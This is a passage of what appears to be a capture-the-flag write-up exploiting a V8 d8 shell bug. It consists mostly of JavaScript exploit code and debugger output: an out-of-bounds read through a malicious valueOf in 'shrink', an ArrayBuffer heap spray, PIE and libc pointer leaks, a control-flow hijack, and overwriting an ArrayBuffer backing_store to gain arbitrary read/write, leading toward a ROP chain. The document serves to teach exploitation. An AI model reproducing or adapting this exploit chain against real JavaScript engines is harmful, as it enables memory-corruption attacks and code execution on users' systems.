<span class="nx">evil</span> <span class="o">=</span> <span class="p">{</span> <span class="nf">valueOf</span><span class="p">()</span> <span class="p">{</span> <span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">1999</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">arr</span><span class="p">.</span><span class="nf">pop</span><span class="p">();</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">1999</span><span class="p">;</span> <span class="p">}</span> <span class="p">};</span>
<span class="nx">arr</span><span class="p">.</span><span class="nf">shrink</span><span class="p">(</span><span class="nx">evil</span><span class="p">)</span>

<span class="kd">let</span> <span class="nx">arrs</span> <span class="o">=</span> <span class="p">[];</span>
<span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">50000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">arrs</span><span class="p">.</span><span class="nf">push</span><span class="p">([</span><span class="mf">1.1</span><span class="p">]);</span> <span class="p">}</span>

<span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">50</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">after </span><span class="dl">'</span> <span class="o">+</span> <span class="nx">i</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">]).</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span> <span class="p">}</span>
</code></pre></div></div>

<p>And here was the result:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>after 0: 0x3ff199999999999a
...
after 18: 0xc00000999
after 19: 0x1d1fb900280dad
after 20: 0x1d2165001d20a5
after 21: 0x6900000069
after 22: 0x600000999
after 23: 0x1d1fb900280dad
after 24: 0x859001d20a5
after 25: 0x5555566c8830
after 26: 0x4000005e5
after 27: 0x1d40bfbe1be82a
after 28: 0x4000005e5
after 29: 0x1d477b3bd65d3c
after 30: 0x4000005e5
after 31: 0x1d34bbe5445d68
after 32: 0x4000005e5
after 33: 0x1d360f9984896a
after 34: 0x4000005e5
after 35: 0x1d50437afb5294
after 36: 0x4000005e5
after 37: 0x1d515fb3f73494
after 38: 0x4000005e5
after 39: 0x1d4c176c4c35ac
after 40: 0x4000005e5
after 41: 0x1d45c727042db2
after 42: 0x4000005e5
after 43: 0x1d43e3d15d1ab6
after 44: 0x4000005e5
after 45: 0x1d4e8bbd48c1c4
after 46: 0x4000005e5
after 47: 0x1d41e34b5b94ce
after 48: 0x4000005e5
after 49: 0x1d4307b55068e6
</code></pre></div></div>

<h1 id="control-flow-hijacking">Control Flow Hijacking?</h1>

<p>Wildly, there is actually a code pointer in that output at index 25 <code class="language-plaintext highlighter-rouge">0x5555566c8830</code> which points to <code class="language-plaintext highlighter-rouge">v8::PrintMessageCallback</code>.
We can actually just overwite this and get control flow hijacking when an error occurs in the repl:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">&gt;</span> <span class="nx">arr</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nc">BigInt</span><span class="p">(</span><span class="mh">0xdeadbeef</span><span class="p">));</span>
<span class="nx">d8</span><span class="o">&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">25</span><span class="p">]).</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">))</span>
<span class="nx">d8</span><span class="o">&gt;</span> <span class="nx">meow</span> <span class="c1">// this is undefined so the repl errors</span>

<span class="nx">Thread</span> <span class="mi">1</span> <span class="dl">"</span><span class="s2">d8</span><span class="dl">"</span> <span class="nx">received</span> <span class="nx">signal</span> <span class="nx">SIGSEGV</span><span class="p">,</span> <span class="nx">Segmentation</span> <span class="nx">fault</span><span class="p">.</span>
<span class="mh">0x00000000deadbeef</span> <span class="k">in</span> <span class="o">??</span> <span class="p">()</span>
<span class="o">--------------------------------------------------------------------------------------------------</span> <span class="nx">code</span><span class="p">:</span><span class="nx">x86</span><span class="p">:</span><span class="mi">64</span> <span class="o">----</span>
<span class="p">[</span><span class="o">!</span><span class="p">]</span> <span class="nx">Cannot</span> <span class="nx">access</span> <span class="nx">memory</span> <span class="nx">at</span> <span class="nx">address</span> <span class="mh">0xdeadbeef</span>
<span class="o">-------------------------------------------------------------------------------------------------------------------</span>
<span class="nx">gef</span><span class="o">&gt;</span>
</code></pre></div></div>

<p>I tried exploiting this for a while, but the register state at the control flow hijacking site wasn’t great for achieving any kind of stack pivot.</p>

<h1 id="arb-readwrite">Arb Read/Write</h1>

<p>Looking back this writeup <a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/">https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/</a>, they hijacked a pointer to the <code class="language-plaintext highlighter-rouge">backing_store</code> of an ArrayBuffer object.
So I figured I’d try just spraying ArrayBuffers and see if I can just directly edit their backing store using the OOB I have.</p>

<p>Frustratingly, there is different behavior between running <code class="language-plaintext highlighter-rouge">./d8 &lt;js_file_path&gt;</code> versus <code class="language-plaintext highlighter-rouge">./d8</code> and sending input to the REPL, so from this point on I use the prior method to be consistent with remote.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span> <span class="c1">// 8 byte array buffer</span>
<span class="kd">var</span> <span class="nx">f64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Float64Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">u64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Uint32Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>

<span class="kd">function</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">val</span><span class="p">;</span> <span class="k">return</span> <span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="p">(</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="p">}</span>

<span class="kd">function</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">);</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="k">return</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="p">}</span>

<span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">(</span><span class="mi">2000</span><span class="p">).</span><span class="nf">fill</span><span class="p">(</span><span class="mf">1.1</span><span class="p">);</span>
<span class="nx">evil</span> <span class="o">=</span> <span class="p">{</span> <span class="nf">valueOf</span><span class="p">()</span> <span class="p">{</span> <span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">1999</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">arr</span><span class="p">.</span><span class="nf">pop</span><span class="p">();</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">1999</span><span class="p">;</span> <span class="p">}</span> <span class="p">};</span>
<span class="nx">arr</span><span class="p">.</span><span class="nf">shrink</span><span class="p">(</span><span class="nx">evil</span><span class="p">)</span>

<span class="kd">let</span> <span class="nx">arrs</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">()</span>
<span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">100000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">arrs</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">));</span> <span class="p">}</span>

<span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">100</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">i</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="nx">i</span><span class="p">]).</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span> <span class="p">}</span>

<span class="c1">// OUT:</span>
<span class="c1">// ...</span>
<span class="c1">// 25: 0x5555566c8830</span>
<span class="c1">// ...</span>
<span class="c1">// 30: 0x57ef24d000000000</span>
<span class="c1">// 31: 0x22800000005555</span>
</code></pre></div></div>

<p>Turns out spraying 100000 ArrayBuffers was enough to reclaim the memory of our array elements! The code pointer is still there and at index 30/31 there is actually a misaligned heap pointer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; vmmap 0x555557ef24d0
[ Legend:  Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start              End                Size               Offset             Perm Path
0x0000555557e50000 0x00005555594cb000 0x000000000167b000 0x0000000000000000 rw- [heap]
</code></pre></div></div>

<p>This is very likely to be a <code class="language-plaintext highlighter-rouge">backing_store</code> field of one of the ArrayBuffers we allocated.</p>

<p>I confirmed this by doing <code class="language-plaintext highlighter-rouge">%DebugPrint(arrs[0])</code> and seeing that the <code class="language-plaintext highlighter-rouge">backing_store</code> pointer matched the one that was leaked.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>DebugPrint: 0x234e00280021: [JSArrayBuffer] in OldSpace
 - map: 0x234e001c87b9 &lt;Map[56](HOLEY_ELEMENTS)&gt; [FastProperties]
 - prototype: 0x234e001c894d &lt;Object map = 0x234e001c87e1&gt;
 - elements: 0x234e00000725 &lt;FixedArray[0]&gt; [HOLEY_ELEMENTS]
 - cpp_heap_wrappable: 0
 - backing_store: 0x555557ef24d0 &lt;--- matches pointer from leak
 - byte_length: 8
 - max_byte_length: 8
...
</code></pre></div></div>

<p>According to <a href="https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/">this</a> we can overwrite the pointer and get arb/read write by wrapping it in a DataView:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span> <span class="c1">// 8 byte array buffer</span>
<span class="kd">var</span> <span class="nx">f64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Float64Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">u64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Uint32Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>

<span class="kd">function</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">val</span><span class="p">;</span> <span class="k">return</span> <span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="p">(</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="p">}</span>

<span class="kd">function</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">);</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="k">return</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="p">}</span>

<span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">(</span><span class="mi">2000</span><span class="p">).</span><span class="nf">fill</span><span class="p">(</span><span class="mf">1.1</span><span class="p">);</span>
<span class="nx">evil</span> <span class="o">=</span> <span class="p">{</span> <span class="nf">valueOf</span><span class="p">()</span> <span class="p">{</span> <span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">1999</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">arr</span><span class="p">.</span><span class="nf">pop</span><span class="p">();</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">1999</span><span class="p">;</span> <span class="p">}</span> <span class="p">};</span>
<span class="nx">arr</span><span class="p">.</span><span class="nf">shrink</span><span class="p">(</span><span class="nx">evil</span><span class="p">)</span>

<span class="kd">let</span> <span class="nx">arrs</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">()</span>

<span class="c1">// allocate until we see the code pointer in idx 25</span>
<span class="kd">let</span> <span class="nx">idx_25</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">25</span><span class="p">]);</span>
<span class="k">while </span><span class="p">((</span><span class="nx">idx_25</span> <span class="o">&amp;</span> <span class="mh">0xfff</span><span class="nx">n</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x830</span><span class="nx">n</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">arrs</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">));</span>
  <span class="nx">idx_25</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">25</span><span class="p">]);</span>
<span class="p">}</span>

<span class="c1">// allocate until we see something that looks sorta like a heap pointer in idx 31</span>
<span class="kd">let</span> <span class="nx">idx_31</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]);</span>
<span class="k">while </span><span class="p">((</span><span class="nx">idx_31</span> <span class="o">&amp;</span> <span class="mh">0xf000</span><span class="nx">n</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x5000</span><span class="nx">n</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">idx_31</span> <span class="o">&amp;</span> <span class="mh">0xf000</span><span class="nx">n</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x6000</span><span class="nx">n</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">arrs</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">));</span>
  <span class="nx">idx_31</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]);</span>
<span class="p">}</span>

<span class="c1">// Leak the code pointer</span>
<span class="kd">let</span> <span class="nx">pie_leak</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">25</span><span class="p">]);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">PIE Leak: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">pie_leak</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="c1">// Calculate base address of d8 binary</span>
<span class="kd">let</span> <span class="nx">pie_base</span> <span class="o">=</span> <span class="nx">pie_leak</span> <span class="o">-</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x1174830</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">PIE Base: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">pie_base</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="c1">// Leak the backing_store pointer of the arrs[0] DataView</span>
<span class="kd">let</span> <span class="nx">backing_store</span> <span class="o">=</span> <span class="p">(</span><span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">])</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">])</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">backing_store: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">backing_store</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="kd">let</span> <span class="nx">dataview</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">DataView</span><span class="p">(</span><span class="nx">arrs</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>

<span class="c1">// Address in GOT we want to leak</span>
<span class="nx">got_pkey_set</span> <span class="o">=</span> <span class="nx">pie_base</span> <span class="o">+</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x28ab9d8</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">got_pkey_set: </span><span class="dl">"</span> <span class="o">+</span>  <span class="nx">got_pkey_set</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="c1">// Overwrite backing_store pointer</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">((</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">got_pkey_set</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">));</span>
<span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]</span> <span class="o">=</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">got_pkey_set</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>

<span class="kd">let</span> <span class="nx">libc_pkey_set</span> <span class="o">=</span> <span class="nx">dataview</span><span class="p">.</span><span class="nf">getBigUint64</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">"</span><span class="s2">libc_pkey_set: </span><span class="dl">"</span> <span class="o">+</span>  <span class="nx">libc_pkey_set</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="c1">// OUT:</span>
<span class="c1">// PIE Leak: 0x5e0325bbe830</span>
<span class="c1">// PIE Base: 0x5e0324a4a000</span>
<span class="c1">// backing_store: 0x5e03323ad4d0</span>
<span class="c1">// got_pkey_set: 5e03272f59d8</span>
<span class="c1">// libc_pkey_set: 7b060ff26290</span>
</code></pre></div></div>

<p>Unfortunately, this code only works maybe once in four tries for reasons that are beyond my comprehension.</p>

<p>Regardless, we now have arbitrary read/write by using either <code class="language-plaintext highlighter-rouge">dataview.getBigUint64</code> or <code class="language-plaintext highlighter-rouge">dataview.setBigUint64</code>!</p>

<p>With this, I finished the exploit off by leaking <code class="language-plaintext highlighter-rouge">environ</code> from libc to get a stack pointer and overwriting the stack with a ROP chain:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">);</span> <span class="c1">// 8 byte array buffer</span>
<span class="kd">var</span> <span class="nx">f64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Float64Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">u64_buf</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Uint32Array</span><span class="p">(</span><span class="nx">buf</span><span class="p">);</span>

<span class="kd">function</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">val</span><span class="p">;</span> <span class="k">return</span> <span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">+</span> <span class="p">(</span><span class="nc">BigInt</span><span class="p">(</span><span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="p">}</span>

<span class="kd">function</span> <span class="nf">itof</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">);</span> <span class="nx">u64_buf</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nc">Number</span><span class="p">(</span><span class="nx">val</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span> <span class="k">return</span> <span class="nx">f64_buf</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="p">}</span>

<span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">(</span><span class="mi">2000</span><span class="p">).</span><span class="nf">fill</span><span class="p">(</span><span class="mf">1.1</span><span class="p">);</span>
<span class="nx">evil</span> <span class="o">=</span> <span class="p">{</span> <span class="nf">valueOf</span><span class="p">()</span> <span class="p">{</span> <span class="k">for </span><span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="mi">1999</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="nx">arr</span><span class="p">.</span><span class="nf">pop</span><span class="p">();</span> <span class="p">}</span> <span class="k">return</span> <span class="mi">1999</span><span class="p">;</span> <span class="p">}</span> <span class="p">};</span>
<span class="nx">arr</span><span class="p">.</span><span class="nf">shrink</span><span class="p">(</span><span class="nx">evil</span><span class="p">)</span>

<span class="kd">let</span> <span class="nx">arrs</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Array</span><span class="p">()</span>

<span class="kd">let</span> <span class="nx">idx_25</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">25</span><span class="p">]);</span>
<span class="k">while </span><span class="p">((</span><span class="nx">idx_25</span> <span class="o">&amp;</span> <span class="mh">0xfff</span><span class="nx">n</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x830</span><span class="nx">n</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">arrs</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">));</span>
  <span class="nx">idx_25</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">25</span><span class="p">]);</span>
<span class="p">}</span>

<span class="kd">let</span> <span class="nx">idx_31</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]);</span>
<span class="k">while </span><span class="p">((</span><span class="nx">idx_31</span> <span class="o">&amp;</span> <span class="mh">0xf000</span><span class="nx">n</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x5000</span><span class="nx">n</span> <span class="o">&amp;&amp;</span> <span class="p">(</span><span class="nx">idx_31</span> <span class="o">&amp;</span> <span class="mh">0xf000</span><span class="nx">n</span><span class="p">)</span> <span class="o">!=</span> <span class="mh">0x6000</span><span class="nx">n</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">arrs</span><span class="p">.</span><span class="nf">push</span><span class="p">(</span><span class="k">new</span> <span class="nc">ArrayBuffer</span><span class="p">(</span><span class="mi">8</span><span class="p">));</span>
  <span class="nx">idx_31</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">]);</span>
<span class="p">}</span>

<span class="c1">// Leak the code pointer we saw at idx 25</span>
<span class="kd">let</span> <span class="nx">pie_leak</span> <span class="o">=</span> <span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">25</span><span class="p">]);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">PIE Leak: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">pie_leak</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="c1">// Calculate base address of d8 binary</span>
<span class="kd">let</span> <span class="nx">pie_base</span> <span class="o">=</span> <span class="nx">pie_leak</span> <span class="o">-</span> <span class="nc">BigInt</span><span class="p">(</span><span class="mh">0x1174830</span><span class="p">);</span>
<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">PIE Base: 0x</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">pie_base</span><span class="p">.</span><span class="nf">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">));</span>

<span class="c1">// Leak the backing_store pointer of the arrs[0] DataView</span>
<span class="kd">let</span> <span class="nx">backing_store</span> <span class="o">=</span> <span class="p">(</span><span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">30</span><span class="p">])</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">)</span> <span class="o">+</span> <span class="p">((</span><span class="nf">ftoi</span><span class="p">(</span><span class="nx">arr</span><span class="p">[</span><span class="mi">31</span><span class="p">])</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="nx">n</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="mi">32</span><span class="nx">n</span><span class="p">);</span>
